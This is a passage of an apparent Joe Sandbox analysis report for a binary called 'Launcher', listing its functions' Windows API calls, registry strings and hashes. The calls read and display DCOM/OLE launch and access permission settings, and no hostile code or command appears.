RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,?,?,?,0066E130,?,?), ref: 0066E569
RedrawWindow.USER32(?,00000000,00000000,00000105,?,?,?,?,?,0066E130,?,?), ref: 0066E578

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$RedrawWindow$#6211
String ID:
API String ID: 2246854860-0
Opcode ID: 0a467d1ace37ac94575f72ec42c65c386065c159f2c70bc4989d7d3d19ed9939
Instruction ID: a582cdd752a29fc425e54c0024611fd00377d40d0052286bbce53dd70eecb23d
Opcode Fuzzy Hash: 0a467d1ace37ac94575f72ec42c65c386065c159f2c70bc4989d7d3d19ed9939
Instruction Fuzzy Hash: 882130B5604A09BFF7211B70DC89EE77ABFFB49749F411518F26E910A0DB762D108B60

Function 00670BBB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001009,00000000,00000000), ref: 00670BE4

Part of subcall function 0067D2F7: wsprintfW.USER32 ref: 0067D35B
Part of subcall function 0067D2F7: lstrcatW.KERNEL32(?,006660AC), ref: 0067D376
Part of subcall function 0067D2F7: lstrcatW.KERNEL32(?,?), ref: 0067D37E

Part of subcall function 0067C0BC: __EH_prolog3_GS.LIBCMT ref: 0067C0C6
Part of subcall function 0067C0BC: #540.MFC42U(00000488,0066C76E,?,80000000,?,AccessPermission,?,?,?,?), ref: 0067C0F1
Part of subcall function 0067C0BC: RegOpenKeyExW.ADVAPI32 ref: 0067C112
Part of subcall function 0067C0BC: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0067C13A
Part of subcall function 0067C0BC: RegCloseKey.ADVAPI32(?), ref: 0067C151
Part of subcall function 0067C0BC: #800.MFC42U ref: 0067C15F

#2634.MFC42U(00000000,?,80000000,?,LaunchPermission), ref: 00670C33
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00670C46
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00670C57
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00670C6F
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00670C80
UpdateWindow.USER32(?), ref: 00670C8C
#2634.MFC42U(00000001), ref: 00670C9A
#2634.MFC42U(00000001,00000001), ref: 00670CA3

Strings

LaunchPermission, xrefs: 00670C07

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$#2634$lstrcat$#540#800CloseH_prolog3_OpenQueryUpdateValueWindowwsprintf
String ID: LaunchPermission
API String ID: 2454494747-4257139491
Opcode ID: 73e5fe0926a38b02fa2f61e0774f5753252336a16c2b0a1aeb4864e0f8ecd111
Instruction ID: 74a98cdc5a82e340f0fb8455dd9bf5ac20f7e41eef379532c3b86a3038b40469
Opcode Fuzzy Hash: 73e5fe0926a38b02fa2f61e0774f5753252336a16c2b0a1aeb4864e0f8ecd111
Instruction Fuzzy Hash: DA216D31640215BBEB61AF21CC4AFEA3A7ADF46740F454074FE096E192CFB25945C7A4

Function 0066E810 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 47windowCOMMON

Download Yara Rule

APIs

#4704.MFC42U ref: 0066E81D
SendMessageW.USER32(?,00001061,00000000,?), ref: 0066E848
SendMessageW.USER32(?,00001061,00000001,?), ref: 0066E86C
#1662.MFC42U ref: 0066E874

Part of subcall function 0067C0BC: __EH_prolog3_GS.LIBCMT ref: 0067C0C6
Part of subcall function 0067C0BC: #540.MFC42U(00000488,0066C76E,?,80000000,?,AccessPermission,?,?,?,?), ref: 0067C0F1
Part of subcall function 0067C0BC: RegOpenKeyExW.ADVAPI32 ref: 0067C112
Part of subcall function 0067C0BC: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0067C13A
Part of subcall function 0067C0BC: RegCloseKey.ADVAPI32(?), ref: 0067C151
Part of subcall function 0067C0BC: #800.MFC42U ref: 0067C15F

#2644.MFC42U(?,80000002,SOFTWARE\MICROSOFT\OLE,DEFAULTACCESSPERMISSION), ref: 0066E896

Strings

User/Group, xrefs: 0066E833
DEFAULTACCESSPERMISSION, xrefs: 0066E879
j, xrefs: 0066E865
Can Access, xrefs: 0066E85E
SOFTWARE\MICROSOFT\OLE, xrefs: 0066E87E

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$#1662#2644#4704#540#800CloseH_prolog3_OpenQueryValue
String ID: Can Access$DEFAULTACCESSPERMISSION$SOFTWARE\MICROSOFT\OLE$User/Group$j
API String ID: 3233431167-2986021116
Opcode ID: d4d220f8c343fd7d7ceb7e379a98199ccdb9c158f437a611196f6c012735827d
Instruction ID: 14246309fafd2034636a53d6d144a2291c992fc43570855469b44f3abf035d71
Opcode Fuzzy Hash: d4d220f8c343fd7d7ceb7e379a98199ccdb9c158f437a611196f6c012735827d
Instruction Fuzzy Hash: C401D430500319BBEB10AFA0CC46FEFBBBAEB45714F00051DF50572280C7765A158BA9

Function 0066EA00 Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 47windowCOMMON

Download Yara Rule

APIs

#4704.MFC42U ref: 0066EA0D
SendMessageW.USER32(?,00001061,00000000,?), ref: 0066EA38
SendMessageW.USER32(?,00001061,00000001,?), ref: 0066EA5C
#1662.MFC42U ref: 0066EA64

Part of subcall function 0067C0BC: __EH_prolog3_GS.LIBCMT ref: 0067C0C6
Part of subcall function 0067C0BC: #540.MFC42U(00000488,0066C76E,?,80000000,?,AccessPermission,?,?,?,?), ref: 0067C0F1
Part of subcall function 0067C0BC: RegOpenKeyExW.ADVAPI32 ref: 0067C112
Part of subcall function 0067C0BC: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0067C13A
Part of subcall function 0067C0BC: RegCloseKey.ADVAPI32(?), ref: 0067C151
Part of subcall function 0067C0BC: #800.MFC42U ref: 0067C15F

#2644.MFC42U(?,80000002,SOFTWARE\MICROSOFT\OLE,DEFAULTLAUNCHPERMISSION), ref: 0066EA86

Strings

User/Group, xrefs: 0066EA23
DEFAULTLAUNCHPERMISSION, xrefs: 0066EA69
Can Launch, xrefs: 0066EA4E
j, xrefs: 0066EA55
SOFTWARE\MICROSOFT\OLE, xrefs: 0066EA6E

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$#1662#2644#4704#540#800CloseH_prolog3_OpenQueryValue
String ID: Can Launch$DEFAULTLAUNCHPERMISSION$SOFTWARE\MICROSOFT\OLE$User/Group$j
API String ID: 3233431167-4187468794
Opcode ID: ca87186da18850a8ec041aed771d8872ba43edcd930b1d852c16c39b37017c7b
Instruction ID: e0adfe242f34f0792bddbba8587e15c05177792e0ebd827becfa04aa315cb848
Opcode Fuzzy Hash: ca87186da18850a8ec041aed771d8872ba43edcd930b1d852c16c39b37017c7b
Instruction Fuzzy Hash: 0301D470500318ABEB10AFA0CC46FEF7BBAEB84714F00001DF50576380CB765A058BA9

Function 00672D10 Relevance: 16.6, APIs: 11, Instructions: 123COMMON

Download Yara Rule

APIs

Part of subcall function 0067B37C: __EH_prolog3.LIBCMT ref: 0067B383
Part of subcall function 0067B37C: #324.MFC42U(00000083,?,00000004,00672D50,?,800E373A), ref: 0067B395
Part of subcall function 0067B37C: #540.MFC42U(00000083,?,00000004,00672D50,?,800E373A), ref: 0067B3A7
Part of subcall function 0067B37C: #861.MFC42U(006621A0,00000083,?,00000004,00672D50,?,800E373A), ref: 0067B3B8

#858.MFC42U(?,?,800E373A), ref: 00672D5E
#2506.MFC42U(?,?,800E373A), ref: 00672D69
#800.MFC42U(?,?,800E373A), ref: 00672D7A
#641.MFC42U(?,?,800E373A), ref: 00672D85
#858.MFC42U(?,?,?,800E373A), ref: 00672D99
#2910.MFC42U(00000104,?,?,?,800E373A), ref: 00672DB2
#5568.MFC42U(000000FF,00000104,?,?,?,800E373A), ref: 00672E4F
#800.MFC42U(000000FF,00000104,?,?,?,800E373A), ref: 00672E61
#641.MFC42U(000000FF,00000104,?,?,?,800E373A), ref: 00672E6C

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #641#800#858$#2506#2910#324#540#5568#861H_prolog3
String ID:
API String ID: 1871001060-0
Opcode ID: f4c389083c8e3e24964b571c0f5372e2ee4edb5efba1a6ed4669961ad358c9f2
Instruction ID: 31b06a9a6cfc93b6ac034934088d143523cde8d30be8d702eb77fd60674b9831
Opcode Fuzzy Hash: f4c389083c8e3e24964b571c0f5372e2ee4edb5efba1a6ed4669961ad358c9f2
Instruction Fuzzy Hash: DB513970D00209DFDF54EBA4C896BEEB7B6BF04310F20856DE12AA72E1DB345A45CB55

Function 0067CE81 Relevance: 16.6, APIs: 11, Instructions: 82COMMON

Download Yara Rule

APIs

SetSecurityDescriptorGroup.ADVAPI32(00000000,00000000,?,00000000,?,0067CE3A,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0067CE90
GetLastError.KERNEL32(?,0067CE3A,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0067CE9A
free.MSVCRT ref: 0067CEBE
IsValidSid.ADVAPI32(00000000,00000000,?,?,0067CE3A,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0067CED7

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: DescriptorErrorGroupLastSecurityValidfree
String ID:
API String ID: 3125347566-0
Opcode ID: 7ae76603fa989bcc9bc3b87f82827eeda0a88ed3c325efb206941e0bf19be656
Instruction ID: 49631ddcaf4623f574af8a45a37a5fb17f4a67a1e66354e9e8a89d195cea2ca3
Opcode Fuzzy Hash: 7ae76603fa989bcc9bc3b87f82827eeda0a88ed3c325efb206941e0bf19be656
Instruction Fuzzy Hash: C0217432104613FBD7101B61EC08B67BBABFF00771F21D21AF919DA220EB39D85097A1

Function 0067CF6C Relevance: 16.6, APIs: 11, Instructions: 82COMMON

Download Yara Rule

APIs

SetSecurityDescriptorOwner.ADVAPI32(00000000,00000000,?,00000000,?,0067CE27,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0067CF7B
GetLastError.KERNEL32(?,0067CE27,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0067CF85
free.MSVCRT ref: 0067CFA9
IsValidSid.ADVAPI32(00000000,00000000,?,?,0067CE27,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0067CFC2

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: DescriptorErrorLastOwnerSecurityValidfree
String ID:
API String ID: 2895241793-0
Opcode ID: 7276100eb73f99472f98932df0e17384da5cadc354fb27f1ab19c0d09076a0f1
Instruction ID: 98729397121ebc2bac48c70e31b37d937de5af31b8d113b8b332e064939391e5
Opcode Fuzzy Hash: 7276100eb73f99472f98932df0e17384da5cadc354fb27f1ab19c0d09076a0f1
Instruction Fuzzy Hash: 9D216031205113FBD7211F719D08B66BBABFF00361F10E62AF90ADA260EB79D851D7A5

Function 0067693C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 164registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(80000000,Interface,00000000), ref: 006769E0
RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000050), ref: 00676A19
RegQueryValueW.ADVAPI32(00000000,?,?,00000200), ref: 00676A4C
wsprintfW.USER32 ref: 00676A7F
CLSIDFromString.OLE32(00000000,-00000008), ref: 00676B21
RegCloseKey.ADVAPI32(00000000), ref: 00676C0A

Strings

%s <no name>, xrefs: 00676A73
', xrefs: 006769A8
Interface, xrefs: 006769D6

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: CloseEnumFromOpenQueryStringValuewsprintf
String ID: %s <no name>$'$Interface
API String ID: 4261639067-2844714346
Opcode ID: e2b5bb67d90877f48d4ec47a7dd7fe9447089d06f5c1147f6caba3809c93c57f
Instruction ID: 8fc62d4d550d015c0a5eab9a4bb35f262e7b0d77f3e3aaf8b2f89e24091f3b64
Opcode Fuzzy Hash: e2b5bb67d90877f48d4ec47a7dd7fe9447089d06f5c1147f6caba3809c93c57f
Instruction Fuzzy Hash: BA81B27190126ADFDB61DF64CD89BEDB7B9BB08305F1081EAE409A7291DB749E84CF40

Function 0066CD80 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 113stringwindowCOMMON

Download Yara Rule

APIs

#6330.MFC42U(00000001), ref: 0066CD9C
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0066CE3D
lstrcpyW.KERNEL32(?,Interactive User,?,?,006621A0,RemoteServerName,00000001), ref: 0066CE53
#3870.MFC42U(?,000000FF,?,?,006621A0,RemoteServerName,00000001), ref: 0066CE67
lstrlenW.KERNEL32(?,?,000000FF,?,?,006621A0,RemoteServerName,00000001), ref: 0066CE73

Strings

ActivateAtStorage, xrefs: 0066CDBA, 0066CDD4
RemoteServerName, xrefs: 0066CDFC, 0066CE16
RunAs, xrefs: 0066CE8A, 0066CEA4
Interactive User, xrefs: 0066CE4D

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #3870#6330MessageSendlstrcpylstrlen
String ID: ActivateAtStorage$Interactive User$RemoteServerName$RunAs
API String ID: 952077393-4117267133
Opcode ID: f4569bd4a29f4c5554dbd77df48a2cb6bf995419142f7dd33fbc356f64e14062
Instruction ID: 0304680551a5954406ccb51921bb01481f5ad5ef3e1de6fc68d115f76a7ee1f2
Opcode Fuzzy Hash: f4569bd4a29f4c5554dbd77df48a2cb6bf995419142f7dd33fbc356f64e14062
Instruction Fuzzy Hash: A331C931640F06A7DB11FE348D97F773B7B9F06B10F4145A8BE04AF1C2DAB299044651

Function 0067B580 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 80stringwindowCOMMON

Download Yara Rule

APIs

#4704.MFC42U ref: 0067B59A

Part of subcall function 0067D6F5: RegOpenKeyExW.KERNEL32(?,?,00000000,00020019,?,?,?,?,0067D6E4,80000000,?,?,?,?,?), ref: 0067D70D
Part of subcall function 0067D6F5: RegQueryValueExW.ADVAPI32(?,?,00000000,?,80000000,0067D6E4,?,?,?,0067D6E4,80000000,?,?,?,?,?), ref: 0067D72C
Part of subcall function 0067D6F5: RegCloseKey.ADVAPI32(?,?,?,?,0067D6E4,80000000,?,?,?,?,?,?,?,?), ref: 0067D738

lstrcmpiW.KERNEL32(?,00662778,80000002,SOFTWARE\MICROSOFT\OLE,EnableDCOM,?,?), ref: 0067B5DB
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 0067B5FC
lstrcmpiW.KERNEL32(?,00662778,80000002,SOFTWARE\MICROSOFT\OLE,EnableRemoteConnect,?,00000100), ref: 0067B63D
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 0067B655
#2634.MFC42U(00000000), ref: 0067B664

Strings

EnableRemoteConnect, xrefs: 0067B619
EnableDCOM, xrefs: 0067B5B7
SOFTWARE\MICROSOFT\OLE, xrefs: 0067B5BC, 0067B61E

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSendlstrcmpi$#2634#4704CloseOpenQueryValue
String ID: EnableDCOM$EnableRemoteConnect$SOFTWARE\MICROSOFT\OLE
API String ID: 3026051211-444212459
Opcode ID: 663dad9e3b8a923d7960aff92c9c8435a0c610f7935ae3fca5e5556181aea01b
Instruction ID: 3a331ef2b7bf8589221908931cb0ea99c6b4df2e49d9a33b787f139a16b26e49
Opcode Fuzzy Hash: 663dad9e3b8a923d7960aff92c9c8435a0c610f7935ae3fca5e5556181aea01b
Instruction Fuzzy Hash: EC21D471600229BAE720AB61CC49FEBBBAFEF05744F015165F61DE2152EB70DE44CAA4

Function 00670F91 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

#540.MFC42U(0066A8E9), ref: 00670FA2
#3494.MFC42U(?,0066A8E9), ref: 00670FB8
#2810.MFC42U(?,LoadTypeLib( %s ) failed.,00000000,?,0066A8E9), ref: 00670FCF
#800.MFC42U ref: 00670FE1

Part of subcall function 0067D91D: __EH_prolog3.LIBCMT ref: 0067D924
Part of subcall function 0067D91D: FormatMessageW.KERNEL32(00001100,00000000,?,00000409,?,00000000,00000000,00000010,0067B9B7,?,00000000,00000000,00000000), ref: 0067D942
Part of subcall function 0067D91D: #540.MFC42U ref: 0067D94F
Part of subcall function 0067D91D: #2810.MFC42U(?,%s %s,?,00000000,?), ref: 0067D96C
Part of subcall function 0067D91D: #922.MFC42U(?,?,?,?,?,?,?), ref: 0067D97F
Part of subcall function 0067D91D: #858.MFC42U(00000000,?,?,?,?,?,?,?), ref: 0067D98C
Part of subcall function 0067D91D: #800.MFC42U(00000000,?,?,?,?,?,?,?), ref: 0067D997
Part of subcall function 0067D91D: LocalFree.KERNEL32(?,00000000,?,?,?,?,?,?,?), ref: 0067D99F
Part of subcall function 0067D91D: #1197.MFC42U(?,00000000,00000000,?,?,?,?), ref: 0067D9AA
Part of subcall function 0067D91D: #800.MFC42U(?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0067DA13

#800.MFC42U(?), ref: 00670FF9
#800.MFC42U(?,00669ECC,?,0066A8E9), ref: 00671034
#800.MFC42U(?,00669ECC,?,0066A8E9), ref: 0067103F
#641.MFC42U(?,00669ECC,?,0066A8E9), ref: 0067104A

Strings

LoadTypeLib( %s ) failed., xrefs: 00670FC9

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$#2810#540$#1197#3494#641#858#922FormatFreeH_prolog3LocalMessage
String ID: LoadTypeLib( %s ) failed.
API String ID: 1985387798-1961472862
Opcode ID: 70c64c34573418ece20359987725a9fc869a454fa2170bd2c74aad9938d24e30
Instruction ID: 8d9871966480c8e942c5534dc3bf9d09f366a1e31e51759528597e2beba5034a
Opcode Fuzzy Hash: 70c64c34573418ece20359987725a9fc869a454fa2170bd2c74aad9938d24e30
Instruction Fuzzy Hash: EB115B319006689BCB56EB50CC82AED737A6F25305F4884D9E50E671A1EF351F88CB14

Function 0067C61E Relevance: 15.1, APIs: 10, Instructions: 96COMMON

Download Yara Rule

APIs

GetAclInformation.ADVAPI32(00000000,0067BA07,0000000C,00000002,00000000,0000000C,?,?,0067BA07), ref: 0067C64E
GetLastError.KERNEL32(?,0067BA07), ref: 0067C658
GetLengthSid.ADVAPI32(00000000,00000001,00000000,0000000C,?,?,0067BA07), ref: 0067C675
malloc.MSVCRT ref: 0067C687
InitializeAcl.ADVAPI32(00000000,00000002,00000002,0067BA07), ref: 0067C6A1
AddAccessAllowedAce.ADVAPI32(00000000,00000002,00000000,00000000), ref: 0067C6B2
GetLastError.KERNEL32 ref: 0067C6BC
free.MSVCRT ref: 0067C6D2

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: ErrorLast$AccessAllowedInformationInitializeLengthfreemalloc
String ID:
API String ID: 86704185-0
Opcode ID: 8814a1bd6c92bf4d96f6dfbb1b06d561de07534ed40bc7da7e8f1c0a4150ef33
Instruction ID: 3ec25cbf876eada037b9bb195b46f1f58ed33111e31311dd41cacd07b4d8c89c
Opcode Fuzzy Hash: 8814a1bd6c92bf4d96f6dfbb1b06d561de07534ed40bc7da7e8f1c0a4150ef33
Instruction Fuzzy Hash: 5231DF31600206EBD7119F699C88BAF77BAEF45720F21911DF90AE6240EF74C9018BA5

Function 0066EFE0 Relevance: 15.0, APIs: 10, Instructions: 39stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0066EFEA
#540.MFC42U(000000F8), ref: 0066EFF7

Part of subcall function 0066CF40: __EH_prolog3.LIBCMT ref: 0066CF47
Part of subcall function 0066CF40: #324.MFC42U(00000092,?,00000008), ref: 0066CF59
Part of subcall function 0066CF40: #567.MFC42U(00000092,?,00000008), ref: 0066CF73

#3871.MFC42U(?,000000F8), ref: 0066F01F
lstrcpyW.KERNEL32(?,?,?,000000F8), ref: 0066F031
#2506.MFC42U ref: 0066F03D
#6195.MFC42U(?), ref: 0066F050
#6330.MFC42U(00000000), ref: 0066F059
#693.MFC42U(00000000), ref: 0066F061
#641.MFC42U(00000000), ref: 0066F06C
#800.MFC42U(00000000), ref: 0066F077

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2506#324#3871#540#567#6195#6330#641#693#800H_prolog3H_prolog3_lstrcpy
String ID:
API String ID: 768229929-0
Opcode ID: a0b7b8d4cf13d376a112d64c86cffd132954572d8d68c2dd7772bf9d73e5a73f
Instruction ID: 658da51fee0b960fb054e5c4a51d831280a75fc09e0bc0ecb33d8cd4dcf7fa4a
Opcode Fuzzy Hash: a0b7b8d4cf13d376a112d64c86cffd132954572d8d68c2dd7772bf9d73e5a73f
Instruction Fuzzy Hash: 79015E309001299BCBA5FB60C992BECB37BAF64310F8084DCE14967182DFB55F88CB56

Function 0066F46C Relevance: 15.0, APIs: 10, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

#800.MFC42U(?,0066D805,?,0066D83D), ref: 0066F47D
#800.MFC42U(?,0066D805,?,0066D83D), ref: 0066F488
#800.MFC42U(?,0066D805,?,0066D83D), ref: 0066F493
#800.MFC42U(?,0066D805,?,0066D83D), ref: 0066F49E
#616.MFC42U(?,0066D805,?,0066D83D), ref: 0066F4A9
#656.MFC42U(?,0066D805,?,0066D83D), ref: 0066F4B4
#609.MFC42U(?,0066D805,?,0066D83D), ref: 0066F4BF
#609.MFC42U(?,0066D805,?,0066D83D), ref: 0066F4CA
#804.MFC42U(?,0066D805,?,0066D83D), ref: 0066F4D2

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$#609$#616#656#804
String ID:
API String ID: 3383334730-0
Opcode ID: 928e1f20de63f5d64d411b4b6220a5b2b38c2e8c1e501ff205ce77ecfae3ac80
Instruction ID: aa46384ca35d61606991abee86c74bcec0f3bc0e13caa06c2f9fecbd7c55f4e5
Opcode Fuzzy Hash: 928e1f20de63f5d64d411b4b6220a5b2b38c2e8c1e501ff205ce77ecfae3ac80
Instruction Fuzzy Hash: 07F06735040A11DBC2A9FB30D592AEAB7B7AF24310F408D6DE1AF07192FF713A09CA44

Function 0066C6F3 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001009,00000000,00000000), ref: 0066C722

Part of subcall function 0067D2F7: wsprintfW.USER32 ref: 0067D35B
Part of subcall function 0067D2F7: lstrcatW.KERNEL32(?,006660AC), ref: 0067D376
Part of subcall function 0067D2F7: lstrcatW.KERNEL32(?,?), ref: 0067D37E

Part of subcall function 0067C0BC: __EH_prolog3_GS.LIBCMT ref: 0067C0C6
Part of subcall function 0067C0BC: #540.MFC42U(00000488,0066C76E,?,80000000,?,AccessPermission,?,?,?,?), ref: 0067C0F1
Part of subcall function 0067C0BC: RegOpenKeyExW.ADVAPI32 ref: 0067C112
Part of subcall function 0067C0BC: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0067C13A
